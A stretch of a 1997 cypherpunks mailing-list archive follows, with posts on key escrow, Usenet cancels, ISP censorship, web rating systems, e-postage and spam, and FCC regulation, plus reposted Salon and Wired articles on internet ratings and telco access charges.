> A description of hashcash, and an implementation can be found here:

While I don't know that I would use this yet, I applaud the author
for an attempt to address the "spam problem" in a non-content-based
manner. 

I will certainly investigate this more than briefly.
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

            "It is a dragon, destroyer of all," cried the ants. 
                      Then a cat caught the lizard.








From jeffb at issl.atl.hp.com  Thu Jul 31 13:03:02 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Fri, 1 Aug 1997 04:03:02 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <199707311949.PAA05625@jafar.issl.atl.hp.com>



Tim May writes:
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.

Absolutely.  One wonders also if she may be concerned about loss of
reputation capital (i.e. her ability to be an effective advocate for
the NSA/LEA types).  The recent report by a panel of well-known
cryptographers arguing that key escrow is technologically and
economically infeasible has made her look pretty out of touch, since
she's been arguing exactly the opposite for years.


-- Jeff






From sunder at brainlink.com  Thu Jul 31 13:03:02 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 1 Aug 1997 04:03:02 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731084010.009d8100@caprica.com>
Message-ID: 



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That's ridiculous.  One shopping for an ISP, without
> access to the Net, is not in a position to read a
> notice in a newsgroup.  It makes sense that censorship
> and forgery advocates would also suggest means of hiding
> the truth.

Not quite.  Most ISP's charge by the month and most give trail
subscriptions with a free month or two weeks or whatever.  One shopping
for an ISP can sign up for three or four, and then cancel the lame ones.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From dave at kachina.jetcafe.org  Thu Jul 31 13:03:46 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Fri, 1 Aug 1997 04:03:46 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311950.MAA24924@kachina.jetcafe.org>



Ryan Anderson wrote:
>>At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>>It's censorship.  If you didn't write it, you have no business
>>cancelling it.
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? (I think excessive posts to certain newsgroups 
> may also fall into this category.  I think the big 6 get auto-covered by 
> this..)

IMO, it doesn't matter -what- it is. 
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.








From declan at well.com  Thu Jul 31 13:14:31 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 1 Aug 1997 04:14:31 +0800
Subject: JD Lasica on labels/censorware as threat to Net, in Salon
Message-ID: 




*********

Subject: censorship story on salon
   Date: Thu, 31 Jul 1997 09:49:17 -0700
   From: Joseph Lasica 
     To: "'declan at well.com'" 

Declan,

Hey, thought you'd be interested in the lead story today in Salon, the
one on the Ratings police.

*********

[I've attached the first part of the story below. Visit the web site for
the complete article; it's well worth a read. --Declan]

http://www.salonmagazine.com/july97/21st/ratings970731.html

RATINGS TODAY, CENSORSHIP TOMORROW

The Net industry is rushing to embrace ratings systems
for the Web. The technology will help parents keep
their kids away from porn. It can also help anyone
censor anything.

BY JOSEPH D. LASICA

A few years from now, when we look back at what
crippled the Internet as a global forum for the free
exchange of information, at least we'll know it was
done with the best of intentions.

Who, after all, could oppose Internet ratings if they
create a "family-friendly" online world?

And so, to make the Net safer for kids and to avert
government regulation, the Internet brain trust has
banded together to push rating, filtering and labeling
technology -- a private-sector techno-fix to cleaning
up the Net. President Clinton has signed on and has
used his bully pulpit to jawbone companies that were
wavering on the issue. And the news media have covered
the president's initiative with the gusto of a pep
rally.

With all this firepower behind them, ratings are
coming to a Web site near you -- in fact, to all Web
sites, if proponents have their way. And a panoply of
would-be censors -- from foreign despots to home-grown
zealots and pandering politicians -- couldn't be
happier.

"What's happening now is a move toward the privatizing
of censorship," says David Sobel, legal counsel for
the Electronic Privacy Information Center (EPIC).
"It's likely to destroy the Internet as it's existed
up till now."

There are a great many ironies here, but the greatest
irony is that the censorship will be self-imposed --
we're doing it for the sake of family, parents,
children. In truth, Internet ratings are being driven
by the changing business interests of the major
players involved.

In the last go-around over muzzling the Internet, Net
users, the computer industry, the media and civil
liberties groups all united against the government's
Communications Decency Act -- which the Supreme Court
buried last month. This time around, the lineup is a
lot more lopsided.

On one side: the U.S. government, the high-tech
industry, most major media outlets and a vocal cast of
parents' organizations, child-safety advocates and
anti-obscenity groups.

On the other: the American Civil Liberties Union,
EPIC, the American Library Association, a smattering
of university scholars and that guy over there waving
the "No ratings" sign.

Why have the software companies and Internet firms
gone over to the other side? Certainly, they're
spooked by the specter of Congress passing a "son of
CDA" bill. But it goes beyond that.

Internet ratings dovetail nicely with big business's
desire to make the Internet safe for God, apple pie
and commercialism. The "dark side" of the Net --
hackers, foreigners, political extremists, geeks,
"phreaks," porn purveyors, hate groups, people who
SHOUT IN ALL CAPS AND USE EXCLAMATION MARKS!!! -- will
largely be banished to an unrated no-man's land where
browsers and search engines fear to tread.

So it was no surprise that the invitation list to the
Internet summit at the White House on July 16 bore
names like Netscape, America Online and IBM rather
than names like geekboy or cybergrrrl. At the meeting,
President Clinton announced a "parental empowerment"
initiative that would give parents the tools to shield
children from obscenity, violence and antisocial
messages on the Net. Although every idea on the table
is software-based, the administration couldn't resist
dubbing the plan the "E-chip," a cousin of
television's V-chip, which will block unsuitable
programming.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From sunder at brainlink.com  Thu Jul 31 13:15:29 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 1 Aug 1997 04:15:29 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731090708.00968100@caprica.com>
Message-ID: 



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That is unacceptable since the users would have already
> paid for the account by that time and signed a contract.

Bullshit.  I've had accounts on escape, dorsai, and now brainlink. 
Neither forced me to prepay or sign any contract. I've seen plenty of
offers from NetCom and other providers for a free month of access.  Even
AOL gives free demo hours.  

Any ISP that forces you to pre-pay for access or sign a contract isn't a
decent ISP by definition, and therefore any censoring they do is also
unimportant since they already by definition suck. 

There's enough competition between mom & pop ISP's out there that it
doesn't pay for them to censor or piss off their users.  The users can
simply tar their files and leave.  i.e.  Escape.com - when I was
subscribed to it had a broken trn, and after two-three months of asking
them to recompile it, I canceled my account and went elsewhere. (They had
tin, but I prefer trn.) 

There are also free and not so free news servers that one can point to,
DejaNews and other archive sources.  If your ISP precensors your feed, you
can get other feeds.

This is a silly arguement when the clients themselves can simply say no to
sucky censoring ISP's.

For example with my own accounts I refuse to subscribe to any ISP that
won't let me have a shell account.  PPP is nice and fine, but I want to be
able to run stuff from a shell. :)  (I wonder if the next volley of
censorship messages will say "Oh, that must mean you censor the ISP's
because you won't subscribe to ones that don't offer shell - to which I'll
answer fuck yes!)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From jeffb at issl.atl.hp.com  Thu Jul 31 13:39:00 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Fri, 1 Aug 1997 04:39:00 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707312017.QAA05673@jafar.issl.atl.hp.com>



Kent Crispin writes:

> I agree.  If charging for mail would eliminate spam, then I should not
> be getting the mailboxfull of physical junk mail I receive every
> morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
> is in the best interests of the mail carrier to carry MORE mail, not
> less.  So, e-postage will almost certainly cause more spam, not less. 

I dunno about the last part of this, but I agree with the basic point
(yes, I agree with Kent! It's a miracle! :-).

I used to think differently, but I've become convinced that the cost
of e-postage isn't going to be high enough that it'll be much of a
control.  Network bandwidth used for the purpose of email transport,
even with increased spamming factored in, is simply too low to justify
charging much for it.  It will still be *way* cheaper than surface mail.
So unless the percentage of people who delete it instantly, sight-unseen,
is higher than I suspect or new tools make it easy to filter out all
spam, it's going to remain economically advantageous for the spammers
to target broadly.


-- Jeff






From trei at process.com  Thu Jul 31 13:39:12 1997
From: trei at process.com (Peter Trei)
Date: Fri, 1 Aug 1997 04:39:12 +0800
Subject: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707312023.PAA21958@einstein.ssz.com>



> From:          Jim Choate 
> Subject:       Re: Rep. White introduces Internet Protection Act (fwd)
> To:            cypherpunks at ssz.com (Cypherpunks Distributed Remailer)
> Date:          Thu, 31 Jul 1997 13:39:12 -0500 (CDT)
> Reply-to:      Jim Choate 

> Forwarded message:
>
Peter Trei wrote 
> 
> > Here's a fun little thought experiment:
[lots of snipping on both sides] 
> A flawed one.
> 
> > Considering the hairsplitting that takes place everyday
> > in courtrooms these days, an arguement could be made that
> > since virtually the entire net these days is optical fiber,
> > there are no 'electronic' communications taking place.
> > 
> > Does the FCC charter mention photonic communications as 
> > well? At what point does the charter allow them to 
> > interfere? Here's some steps on the way...

[amusing, not too serious arguments involving mimes deleted]
 
> Photons are the vector boson for em radiation, in a wire or in the air.
> In the wire the photons go from electron and protons to other electrons and
> protons. This is what makes them want to 'move'. Despite popular vision, they
> don't go bumping into each other like a bunch of ping-pong balls in a pipe...

> > Is this an electronic communication?
> 
> Yes.

So when I look at someone's facial expression, I'm using photons, and 
the FCC can regulate this activity as an 'electronic communication'?
This seems to be what you are suggesting.

I have this niggling memory at the back of my mind to the
effect that the FCC regulates nothing above a certain
frequency (somewhere in the microwave region). I don't
know if this is an internal rule, or something imposed on
them by charter or congress.

I'm not sure what the limit is. The highest frequency I've
been able to find regulations for is 105 GHz, the upper 
edge of a band reserved for SETI research in Britain. The
highest FCC reg I've seen tops out at 77 GHz. 

This is all far below the frequencies of light used in 
fiber optic networks.

Anything above about 100GHz seems to be unregulated. 

Peter Trei
trei at process.com






From dformosa at st.nepean.uws.edu.au  Thu Jul 31 13:48:55 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 1 Aug 1997 04:48:55 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707311816.NAA21627@mailhub.amaranth.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, William H. Geiger III wrote:

[...]

> Now, myself would require more information as to Chris Lewis' envolvement
> with Nortel & their security products before I would be willing to come to
> the same conclution that Dimitri has.

IIRC he is in charge of network securaty at Nortel.  But I dout that he
is involved in R&D.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From aba at dcs.ex.ac.uk  Thu Jul 31 14:06:13 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 1 Aug 1997 05:06:13 +0800
Subject: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <19970731092109.15947@bywater.songbird.com>
Message-ID: <199707312011.VAA03057@server.test.net>




Kent Crispin  writes:
> On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
> [...]
> > Even if government were to insist that everyone self rated, it would
> > be damn near meaningless.
> 
> I think you are seriously underestimating the usefullness of 
> self-rating.  Yes, indeed, there are people who will spoof them, or 
> who may have a completely weird view of the world that allows them an 
> odd interpretation of what the ratings mean, so you won't get 100% 
> coverage.  

problem #1: I think the coverage rate will be abysmal.  People are
lazy.  Are you really going to go modify all your html files?  I've
got 8 megs of material on my personal web site
(http://www.dcs.ex.ac.uk/~aba/), and I can barely generate the energy
to apply dead link mods which people email me.

problem #2: If government "asks" you to self-rate your pages, that
will in a lot of net people generate ire, they'll monkeywrench their
rating in some creative way.

problem #3: Kids can hack around the system anyway, so it doesn't
matter whether it's rated or not.  Especially where "hacking" around
the system consists of just downloading a free browser from
netscape.com, or installing one off a magazine cover CD.  Are the
government going to legally require netscape to release browsers which
are content crippled and require an is-an-adult cert to disable it?
So just use an older browser.  I'm sure kids will be trading adult
certs like football cards at school.  Internet drivers license is
another likely dumb move to try to enforce it.

Given the likely dubious reliability of the ratings, and near semantic
meaningless because of differening values, political and moral beliefs
in various communities in different parts of the world it looks like a
non-starter to me.

Further presuming the government goes for it anyway, I can't see them
managing to persuade many people to use it.

As you note some porn sites will probably rate themselves, but they
will only be doing it to generate more hits (search engines looking
specifically for such pages).  As Dimitri noted under 21s are probably
generating most of the porn hits anyway. (It is 21 in parts of the US
right?  Surely they're not serious that you can have been legally
married 5 years before you're allowed to view soft porn?  It'll be 16
or 18 in UK)

> > General rhetorical question: indeed why have governments at all?
> 
> General rhetorical answer:  Because people are the way they are.

I'll take this comment to a new message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0




I wrote at the bottom of another post:
> General rhetorical question: indeed why have governments at all?

and Kent Crispin parried:
: General rhetorical answer:  Because people are the way they are.

Kent you seem to harbor the belief that government monopoly is a good
thing, or at least that government is somehow an unavoidable necessary
evil.  I doubt I'll convince you otherwise, but in case there are
other people reading who still think governments the best way of doing
anything, I'll try to explain why I think government monopoly is a bad
thing.

Are you opposed to free markets?

Government holds a number of monopolies.  These monopolies are not
efficient.  They result in resource wastage on a mind boggling scale.
The USG has pretty much bankrupt your country, the US national debt
being I understand at a level where US citizens collectively do not
have the resources to pay it off.  If a privately or publicly held
company got to that stage the receivers would be sent in. 

The success that a country does enjoy is pretty much proportional to
the degree of market freedom.  Luckily for us our governments have
left a bit of freedom in markets, or we would have food shortages, and
rationing.

In economies with extremely low amounts of market freedom, the readily
observable inefficiency demonstrates my point.  (eg Former Soviet
Union communist economy).

Governments tend to grow, and soak up larger tax percentages, and
encroach into more aspects of life which were previously a question of
free choice, or were previously purely market driven.  The reason for
this growth is due to the government as an entity unconciously
promoting itself as an organism.  A great huge cancerous growth which
has us by the jugular.

The reason governments as businesses can get away with their abysmal
performance is because they have a near complete monopoly.

A good start would be a choice in government, to generate some
competition.  So you can buy membership in a protection racket, hire
the services of a private security firm, or buy insurance from an
insurance group because of its benefits package, or go elsewhere if
the offering sucks.  You choose on an individual basis what package
best suits you, and you choose the service providers who you consider
as the best value for money.

eg. I can go buy into Uncle Enzo's pizza delivery and protection
racket because the protection is 5000% better value for money than the
Feds deal.

I can pick and choose the services I want to produce a mix which
satisfies me.  Double efficiency, people don't have services provided
for them which they actively don't want, and I can buy services which
the government attempts to prevent the market from providing, so my
requirements are better met.

As well as the increased efficiency obtained in provision of services
which governments are currently holding monopolies on, the reduced
taxation and regularatory burdens put on the economy would cause a
boom.

And your argument is?

That people want government?  Fine, let those sheeple that do want
something even more oppresive and intrusive than the current
government buy into whatever form of oppresive cult they want.
Perhaps a sheltered perimeter gaurded enclave where all media is
censored, there is capital punishment for spitting on the side walk,
evil thoughts results in public flogging, etc, and where the taxation
rate is 90% would suit them to a T.

Great!  We need some evolutionary pressures anyway.

So which mix would you choose Kent?

Or are you arguing that there are lots of stupid people, and that you
are happy to let their ill-informed choices, and their willingness to
go with the bankrupt corrupt status quo fuck your life up?  Why should
there be blanket decisions made and forced upon you as an individual.
Free choice makes for much more efficiency in terms of economics, and
in terms of individuals happiness.


Here's a reading list for those interested in disbanding government
and replacing it with services purchased on the free market:

"Snow Crash", Neal Stephenson
	Snow Crash is a sci-fi novel giving a depiction depictions of
	life with choice in services, private law enforcement services
	competing with Uncle Enzo's pizza mafia.

"The Moon is a Harsh Mistress", Heinlein
	The Moon is a Harsh Mistress is a sci-fi novel giving a
	depiction of a wild-west like legal system.  There are no
	laws, excepting individual responsibility.

"Machinery of Freedom" 2nd Ed, David Friedman
	Machinery of Freedom talks about free market methods to provide
	services that have traditionally been provided by government.

"The Wealth of Nations", Adam Smith

	The Wealth of Nations is an interesting book despite being
	published in 1776.  Didn't have his judgement clouded by this
	namby-pamby socialist/communist junk.  Pure capitalism,
	examining why the free market is efficient.

"The Road to Serfdom", Hayek

	Road to Serfdom explains in Hayeks view that socialism is a
	slippery slope leading to economic decline and communism.  In
	context of Nazism after second world war.  He makes the case
	that Socialism the root of much evil.


Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0




*******

http://www.wired.com/wired/5.06/netizen.html

Wired
Issue 5.06 - June 1997
Netizen

Telco Terrorism
By Declan McCullagh (declan at well.com)

   If the Baby Bells get their way, you'll pay by the
   minute and through the nose for the privilege of
   logging on. But the Net has an unlikely defender: the
   FCC.

---

Ed Young, Bell Atlantic's chief lobbyist, is a busy man -
so busy, he says, that he can find time to talk only
between meetings in a Nynex boardroom in Washington,
DC. He waves expansively at the juice bar and grins,
"Take whatever you like. It's all paid for by Nynex."
A moment later, Young denounces Internet users for
precisely the same attitude. "There's no longer a free
lunch," he complains. "Internet welfare has to stop."
It's a catchy sound bite - honed through countless
repetitions over the last year - and Young has spent a
lot of time testing it out on Washington regulators.
He says that flat-rate Internet pricing is clogging
phone lines, jamming telephone switches, and, most
important, costing his employer hundreds of millions
of dollars a year. Last summer, Bell Atlantic teamed
up with a few other Baby Bells to try to persuade the
Federal Communications Commission to levy
minute-by-minute access charges on Internet service
providers - hefty fees that could double or triple the
average monthly bill. For the telcos, securing
permission to begin collecting access fees would be
like hitting the jackpot; a charge of merely 3 cents a
minute would bring in nearly US$6 billion in new
revenue each year.

But some important members of the high tech community
worry that it could also trigger the death of the Net.
Three-cents-a-minute access fees would boost a service
provider's costs by more than $100 a month for each
subscriber who logs on for two hours a day. In an era
when $19.95-per month flat-rate pricing reigns
supreme, the thought of shelling out per minute access
charges to local phone companies has the online
industry scared shitless. CompuServe, for example,
estimates that its phone costs would zoom from $36
million to $367 million. The online and high tech
industries have counterattacked, arguing that while
more than 18 million Americans creep through
cyberspace using modems that sip bandwidth through
twisted-pair straws, the telcos want more money yet
refuse to improve service by bringing high-speed data
connections to the local loop.

The stage has been set for a showdown between a
telephone industry regulated since its birth and a new
economy that has prospered with surprisingly little
government interference. The tug-of-war pits
buttoned-down monopolies against a rough-and-tumble
collection of Silicon Valley bigwigs. Faced with
potential disaster, the high tech coalition has had no
choice but to learn the art of war as it is waged
within the confines of the FCC's arcane rulemaking
process.

This strange form of bureaucratized combat - which
operates under the guise of public policy - has plenty
of precedents in the annals of American capitalism.
But in this particular fight, an unusual third set of
combatants has been dragged into the struggle:
grassroots Internet users. Speaking with a mixture of
awe and bewilderment, FCC attorney James Casserly
says, "In the past, we've never seen anything like
this."

A case of congestion It's not that the telcos'
anxieties are entirely unfounded: real problems loom
on the horizon. America's local-loop architecture - in
which modems use analog phone lines for digital
communications - is vulnerable to network congestion,
and flat-rate pricing for phone and Internet service
seems destined to exacerbate the problem. This is
largely because telephone networks are designed around
the assumption that roughly one in every eight
subscribers will try to use the phone simultaneously -
which, in turn, means that if just 12 percent of an
area's customers are online at once, nobody else can
use the phone. In other words, America's
telecommunications infrastructure, was designed to
facilitate occasional analog calls, not continuous
digital connections. The telcos are standing at a
crossroads, stuck with a network that was designed for
voice traffic but that now groans under the weight of
data calls. The Baby Bells understand this, and they
say they want to go digital. Which raises the
questions: How will they do it, when will they do it,
and, more important, who will pay?

Both sides agree that the solution lies in new
technology. Currently, most phone calls travel along
an analog phone line to a digital switch that connects
to an analog outgoing line. Find a way to bypass the
analog connections with end-to-end digital networks,
and the congestion problem disappears. Here's why: To
transmit data, analog circuit-switched networks
require a continuous open channel, which must be
maintained even when it's not in use. But a digital
packet-switched network, such as the Internet, breaks
the data into small chunks that are sent as needed
asynchronously and reassembled by the receiver.

Right now, the telcos have no financial incentive to
promote speedier, more efficient technologies - and
when they've tried, they've blown it through a
combination of high prices and notoriously bad
customer service and support. Take ISDN, a digital
technology that has been ready-to-arrive for 25 years
but never quite did. "The problem isn't technology,"
according to James Love, an economist at the Ralph
Nader-sponsored Consumer Project on Technology. "It's
monopoly pricing by the telcos."

There are even better technical solutions than ISDN,
such as xDSL, about which the telcos appear ambivalent
at best. They shouldn't be. The xDSL family of
digital-subscriber-line technologies could provide a
way out of the regulatory staredown between the telcos
and the Net, supercharging ordinary copper wires to
carry data at Ethernet speeds without clogging the
voice network.

Studying the studies For now, however, both sides are
pumping most of their energy into spinning the
argument. Last June and July, Bell Atlantic, U S West,
PacBell, and Nynex launched the opening salvo in the
access-fee battle by passing along a few studies to
the FCC. The Bell Atlantic report noted that Net
surfers use their phone lines to make longer calls,
with an average length of 18 minutes, compared with 5
minutes for a typical voice call. Meanwhile, Bell
Atlantic said it spends $75 to service and maintain
each local loop that runs into an ISP line - lines
that generate revenues of only $17 per month. That
piddling 17 bucks, the telcos claim, barely covers the
cost of keeping a dial tone humming, and isn't nearly
enough to pay for the expensive upgrades needed to
handle circuit-gobbling Internet providers. If more
money isn't spent to upgrade the network, the
scaremongers warn, traffic jams caused by gluttonous
Internauts could become a public menace. The report
concluded that "service interruptions of even a
temporary length could affect public safety services
such as 911 service, with unthinkable consequences."
The telcos' solution: the FCC must let them levy
per-minute access charges to raise the hundreds of
millions of dollars a year needed to keep the phone
system from crashing.

To battle the phone companies' analytical onslaught,
Intel, Compaq, IBM, America Online, CompuServe, and a
handful of trade associations formed the Internet
Access Coalition in the autumn of 1996 to craft a
counterstudy to rebut the telcos' claims. Delivered to
the FCC in January 1997, the coalition report, titled
"The Effect of Internet Use on the Nation's Telephone
Network," blasted telco assumptions and pointed out
their hypocrisy: the Baby Bells whine that flat-rate
Internet services are congesting phone lines even as
many of them are peddling flat-rate Internet access
themselves. Some have actually given it away - in
California, PacBell offered five months of free
Internet service and waived installation charges for
customers who ordered a second phone line. How can a
cash-strapped phone company afford this? Since many
homes are already wired for two lines, second-line
service has become a source of easy profits for the
telcos. In 1995, for example, second lines generated
six times the revenues the Baby Bells now say they
need to upgrade their networks.

The coalition's debunking was thorough. Even if data
calls average 20 minutes - so what? One such call eats
up fewer phone company resources than 20 individual
one-minute voice calls. Moreover, the much-publicized
"clogged network" numbers came from areas with
exceptionally heavy modem use - regions that are
hardly representative of the network as a whole. In
other words, the telcos gave the FCC anecdotal,
worst-case estimates of network-congestion
difficulties and presented them as commonplace, or
perhaps even dangerous.

The phone companies reacted to the IAC study by
retreating from their initial position. No longer will
you hear their lobbyists talk of 3-cents-a minute
access surcharges; since early this year the fallback
stance has been to seek some charge - any charge! - as
long as it's collected through a metered pricing
scheme. "It doesn't have to be a large charge," Bell
Atlantic's Ed Young now says. "It can be something of
the magnitude of a penny a minute, or even less. But
it has to be something."

The friendly FCC? The Baby Bells might have assumed
they had allies in the four FCC commissioners. The
agency's history is replete with precedents in which
decisions have shielded venerable industries from
competition by upstarts. The commission delayed the
introduction of FM radio to protect AM stations. It
stalled cable television to benefit broadcasters. No
wonder, then, that many Internet users took for
granted that it would happily sacrifice the Net to
spare the telcos.

But, surprisingly, the FCC has often gone out of its
way to protect the Net from telco onslaughts. A 1980
directive dubbed "Computer II" said the commission
would regulate only "basic" telephone services, not
providers of "enhanced services." That marked the
Net's first reprieve, as the "enhanced service
provider" category includes everything from voicemail
services to alarm-monitoring firms to Internet
providers.

In 1984 Ma Bell splintered, and the FCC decided to
tack an "access charge" of roughly 5 cents a minute
onto every long distance call to compensate local
phone companies for completing the local-loop
connection. The Net's second reprieve came when
commissioners ruled that enhanced service providers
wouldn't be obliged to pay similar access charges
because of the "severe rate impacts" that would
result.

Finally, in 1987, the telcos trotted out many of the
hardship claims they still use today, saying that
voice users were subsidizing the clunky online
services of the time, and demanding that the FCC
impose per-minute access charges on them. The nascent
high tech community responded to the affront quickly.
Irate BBS sysops buried the agency in faxes (a novelty
at the time), while firms such as IBM, Digital, and
CompuServe persuaded a few members of Congress to
intervene. In the end, the commissioners ruled for the
Net and against the telcos, saying that it was
inappropriate to assess per-minute charges on the
fledgling online industry.

That ruling, which immunized ISPs and online services
against access charges, is what the telcos now call
obsolete. Access charges, paid mostly by long distance
companies, added up to more than $23 billion in 1996.
These days, however, long distance companies like MCI
and AT&T are cajoling the commission to reduce access
charges, and the FCC seems sympathetic to the idea.
This means long distance rates may soon be dropping.
But it also means the Baby Bells will pull in less
cash from long distance carriers - a potential
shortfall that perhaps explains why they are now so
hungry to levy access charges on Internet providers.

All this wonk warfare might have gone largely
unnoticed on Main Street USA, were it not for an FCC
Web page that solicited public input on the
access-charge issue. Only a few comments trickled in
during the first few weeks after the page was put up
in December 1996. But as the spring comment deadline
grew near, the word got out: the FCC was poised to
screw the Net. Between February 1 and February 14,
hundreds of thousands of irate emails flooded
isp at fcc.gov. In message after message, Internet users
pleaded, argued, and reasoned with the agency not to
levy access charges. One message labeled the telcos'
demands "just another scam so the greedy phone
companies can separate even more money from
consumers."

This tidal wave of digital bile did not escape the
attention of Reed Hundt, chair of the FCC. "Imposing
today's interstate access charges on Internet users is
the information-highway equivalent of reacting to
potholes by making drivers pay for a new toll road,"
he says. Such comments are reassuring, but like any
veteran bureaucrat, Hundt seems eager to find a middle
ground between the telcos and the Net. Thus, he has
also offered his own solution. Right now, residential
phone lines are cheap because federal and state
agencies have mandated increases in the cost of long
distance calls and premium services like call waiting
to subsidize basic dial-tone access for everyone.
Hundt has suggested removing these subsidies from
second phone lines. In the absence of local-loop
competition, his proposal would potentially double the
price of a second line. But it would also give the
telcos less to grumble about.

Hundt has only one vote on the four-member Federal
Communications Commission (the fifth spot remains
vacant at the time of this writing), but other
commissioners seem to agree with his position. "We're
going to walk very carefully so as not to impede
progress or competition," insists Commissioner Susan
Ness. Indeed, when the group held a preliminary vote
on access charges last December, it ruled that
Internet providers should not be subject to access
charges of around 3 cents a minute. Since today's
system is so screwed up, the agency said, "We see no
reason to extend this r�gime to an additional class of
users, especially given the potentially detrimental
effects on the growth of the still-evolving
information services industry."

The Net had - once again - found an improbable ally in
the FCC. But the lovefest may be short-lived. The
ruling left the door open for the commission to impose
access charges of less than 3 cents, and the telcos
are now asking for a penny a minute.

Inside the Beltway, the buzz is that the FCC won't
impose new access fees anytime soon. But no matter
what the commissioners decide, the losing side is
likely to take its grievances to the Senate's
Commerce, Science, and Transportation Committee, which
oversees the agency and could overrule its decision.
The Commerce Committee's new chair, Senator John
McCain (R-Arizona), harbors little sympathy for the
telcos - or their lobbyists. (See "The McCain Mutiny,"
page 122.) After presiding over a recent hearing on
universal service, McCain began spreading the word
that he opposes new access charges. "The claims that
are being made by the telcos are somewhat
exaggerated," he says. "I'm persuaded that online
access isn't nearly the burden they are complaining
about." McCain's assessment is not universally shared
- Alaska's Senator Ted Stevens, a senior Republican on
the committee, said in March that Internet services
should be regulated as telephone companies, and forced
to pay some form of access charge or universal service
fee.

The ad hoc alliance All of which means that the
peculiar synergy that exists between grassroots
Internet users and high tech corporations remains as
important as ever. In the face of the telcos'
onslaught, netizens are joining ranks with business
interests to lobby the government and protect the Net.
Although the flood of angry email that stuffed the
FCC's in-box was a chaotic, word-of-mouth effort, it
worked wonders - and effectively changed the course of
the debate in DC. "I think people in Washington
recognize that the 300,000-message deluge was just the
tip of the iceberg," says Paul Misener, Intel's chief
(and only) telecom lobbyist and coordinator of the
Internet Access Coalition.

Yet in a very real way, the digital nation had
misidentified its foe. As a rule, Washington's
bureaucrats are not power-crazed authoritarians; most
are reactive creatures who simply respond to
demonstrations of influence and power. Bell Atlantic,
PacBell, Nynex, et alia leaned hard on the FCC for
access fees, and the agency reacted in its own
instinctively bureaucratic way. The high tech
community responded by forming its own ad hoc
coalition to pressure the FCC, and thousands of
Internet users chimed in to express their collective
dismay. Of course, the best way to win not just the
battle but the war may be to remove the commission's
power to regulate the Net altogether. Still, so far
the real threat to netizens has come from complacent
telcos and their legions of starched-collar lobbyists,
not the FCC. The distinction is important, because the
old rule of thumb still holds true: The enemy of our
enemy may occasionally prove to be our friend.

-----

Declan McCullagh (declan at well.com) is the Washington
correspondent for The Netly News (http://netlynews.com/).

Copyright � 1993-97 Wired Magazine Group Inc. All
rights reserved. Compilation Copyright � 1994-97 Wired
Digital Inc. All rights reserved.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From jwn2 at qualcomm.com  Thu Jul 31 16:47:15 1997
From: jwn2 at qualcomm.com (John W. Noerenberg)
Date: Fri, 1 Aug 1997 07:47:15 +0800
